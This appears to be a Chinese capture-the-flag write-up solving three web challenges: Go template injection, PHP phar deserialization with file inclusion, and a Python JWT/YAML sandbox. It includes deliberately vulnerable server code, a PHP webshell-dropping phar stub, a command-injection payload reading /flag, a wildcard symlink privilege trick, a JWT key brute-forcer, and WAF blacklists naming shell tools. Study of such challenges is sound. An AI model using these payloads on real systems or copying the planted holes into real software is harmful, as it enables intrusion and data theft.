前言
不难
ssti
提示我们 {{' enter your payload '}}
测了一下应该不是 flask,404 的报错像是 nodejs 或者 go 的,检测到 eval 就不解析,测了一下 {{.}}
有回显发现是 go 的模板,返回了 map[B64Decode:0x6ee380 exec:0x6ee120]
测了一下命令执行也有 waf,于是尝试调用这两个函数编码实现命令执行
{{exec (B64Decode "Y2F0IC9mbGFn")}}
main.go
package main
import (
"bytes"
"encoding/base64"
"fmt"
"log"
"net/http"
"os/exec"
"regexp"
"runtime"
"strings"
"text/template"
)
func execCommand(command string) string {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/c", command)
} else {
cmd = exec.Command("bash", "-c", command)
}
var out bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
if stderr.Len() > 0 {
return fmt.Sprintf("命令执行错误: %s", stderr.String())
}
return fmt.Sprintf("执行失败: %v", err)
}
return out.String()
}
func b64Decode(encoded string) string {
decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
if err != nil {
return "error"
}
return string(decodedBytes)
}
func aWAF(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api" {
next.ServeHTTP(w, r)
return
}
query := r.URL.Query().Get("template")
if query == "" {
next.ServeHTTP(w, r)
return
}
blacklist := []string{"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd", "\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl", "bash", "sh", "python", "perl", "ruby", "system", "eval", "less", "more", "find", "grep", "awk", "sed", "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker", "kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|", ";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\", "\\^", "\\$", "!", "@", "#", "&"}
escaped := make([]string, len(blacklist))
for i, item := range blacklist {
escaped[i] = "\\b" + item + "\\b"
}
wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))
if wafRegex.MatchString(query) {
// log.Printf("拦截请求: %s", wafRegex.FindAllString(query, -1))
http.Error(w, query, 200)
return
}
next.ServeHTTP(w, r)
})
}
func apiHandler(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("template")
if query == "" {
http.Error(w, "需要template参数", http.StatusBadRequest)
return
}
funcMap := template.FuncMap{
"exec": execCommand,
"B64Decode": b64Decode,
}
tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
if err != nil {
http.Error(w, query, http.StatusAccepted)
return
}
var buf bytes.Buffer
if err := tmpl.Execute(&buf, funcMap); err != nil {
http.Error(w, query, http.StatusAccepted)
return
}
w.Write(buf.Bytes())
}
func rootHandler(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/" {
http.NotFound(w, r)
return
}
http.ServeFile(w, r, "index.html")
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", rootHandler)
mux.HandleFunc("/api", apiHandler)
log.Println("服务器启动在 :80")
log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
}
easy_readfile
<?php
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class Coral{
public $pivot;
public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}
class Nimbus{
public $handle;
public $ctor;
public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}
class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}
class Acheron {
public $mode;
public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
if(strlen($_POST[1]) < 52) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
?>
一眼打 phar.gz 包含,gzip 压缩绕过
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php eval(\$_POST[0]); ?>" > /var/www/html/1.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
生成序列化字符串,另外三个类不需要了
<?php
class Acheron {
public $mode="w";
}
$a = new Acheron();
echo serialize($a);
写入并包含
此时就写 shell 到 1.php 了,antsword 连上去
发现 flag 没权限读,但是根目录有 run.sh
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
done
经典通配符在野注入,在 /var/www/html 下执行
echo "">'-L'
ln -s /flag flag
然后 flag 就在 backup 长出来了
ez_python
给了一个执行 pyyaml 和 python 代码的功能,但是只有 admin 才使用
那么需要先搞定 jwt,在 /sandbox 路由故意修改 jwt 为错误格式触发报错,返回:
{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}
意思就是要爆破 key 的后两位,范围在字母和数字里
import jwt
import string
def main():
known_part = "@o70xO$0%#qR9#"
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
chars = string.ascii_letters + string.digits
for c1 in chars:
for c2 in chars:
key = known_part + c1 + c2
try:
decoded = jwt.decode(token, key, algorithms=["HS256"])
print(f"Found key: {key}")
print(f"Decoded payload: {decoded}")
return
except jwt.InvalidSignatureError:
continue
except Exception as e:
print(f"Found key: {key}")
print(f"Exception: {e}")
return
if __name__ == "__main__":
main()
爆破得到 key: @o70xO$0%#qR9#m0
遂可以伪造 jwt 传 yaml 打反序列化,mkdir 创建 static 文件夹然后写入静态文件带出执行结果
flag 在 /f1111ag
app.py
from flask import Flask, request, jsonify, render_template_string
import jwt
import asyncio
import yaml
import os
app = Flask(__name__)
JWT_SECRET = "@o70xO$0%#qR9#m0"
JWT_ALGO = "HS256"
FORBIDDEN = ['__', 'import', 'os', 'eval', 'exec', 'open', 'read', 'write', 'system', 'subprocess', 'communicate',
'Popen', 'decode', "\\"]
HTML_PAGE = '''
<!DOCTYPE html>
<html>
<head>
<title>Vault</title>
<style>
body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; }
#user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; }
#sandbox-container { margin-top: 30px; }
select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; }
#result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; }
button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
button:hover { background-color: #45a049; }
input[type="file"] { display: block; margin: 10px auto; }
</style>
</head>
<body>
<div id="user-info">Loading user info...</div>
<div id="sandbox-container">
<select id="mode">
<option value="yaml" selected>YAML</option>
<option value="python">Python</option>
</select>
<br>
<input type="file" id="codefile">
<br>
<button onclick="runCode()">▶ Execute from File</button>
<pre id="result">Waiting for output...</pre>
</div>
<script>
let token = "";
fetch("/auth")
.then(res => res.json())
.then(data => {
token = data.token;
const payload = JSON.parse(atob(token.split('.')[1]));
document.getElementById("user-info").innerHTML =
"<span style='color:#444'>👤 " + payload.username + "</span> | " +
"<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
});
function runCode() {
const fileInput = document.getElementById('codefile');
const mode = document.getElementById("mode").value;
if (fileInput.files.length === 0) {
document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
return;
}
const file = fileInput.files[0];
const formData = new FormData();
formData.append('codefile', file);
formData.append('mode', mode);
fetch("/sandbox", {
method: "POST",
headers: {
"Authorization": "Bearer " + token
},
body: formData
})
.then(res => res.json())
.then(data => {
document.getElementById("result").textContent = JSON.stringify(data, null, 2);
});
}
</script>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(HTML_PAGE)
@app.route('/auth')
def auth():
# 默认分发一个低权限的 'user' token
token = jwt.encode({'username': 'guest', 'role': 'user'}, JWT_SECRET, algorithm=JWT_ALGO)
if isinstance(token, bytes):
token = token.decode()
return jsonify({'token': token})
def is_code_safe(code: str) -> bool:
return not any(word in code for word in FORBIDDEN)
@app.route('/sandbox', methods=['POST'])
def sandbox():
auth_header = request.headers.get('Authorization', '')
if not auth_header.startswith('Bearer '):
return jsonify({'error': 'Invalid token format'}), 401
token = auth_header.replace('Bearer ', '')
if 'codefile' not in request.files:
return jsonify({'error': 'No file part in the request'}), 400
file = request.files['codefile']
if file.filename == '':
return jsonify({'error': 'No file selected'}), 400
mode = request.form.get('mode', 'python')
try:
code = file.read().decode('utf-8')
except Exception as e:
return jsonify({'error': f'Could not read or decode file: {e}'}), 400
if not all([token, code, mode]):
return jsonify({'error': 'Token, code, or mode is empty'}), 400
try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGO])
except Exception as e:
partial_key = JWT_SECRET[:-2]
return {
'error': 'JWT Decode Failed. Key Hint',
'hint': f'Key starts with "{partial_key}**". The 2 missing chars are alphanumeric (letters and numbers).'
}, 500
if payload.get('role') != 'admin':
return {'error': 'Permission Denied: admin only'}, 403
if mode == 'python':
if not is_code_safe(code):
return {'error': 'forbidden keyword detected'}, 400
try:
scope = {}
exec(code, scope)
result = scope['run']()
return {'result': result}
except Exception as e:
return {'error': str(e)}, 500
elif mode == 'yaml':
try:
obj = yaml.load(code, Loader=yaml.UnsafeLoader)
return {'result': str(obj)}
except Exception as e:
return {'error': str(e)}, 500
return {'error': 'invalid mode'}, 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)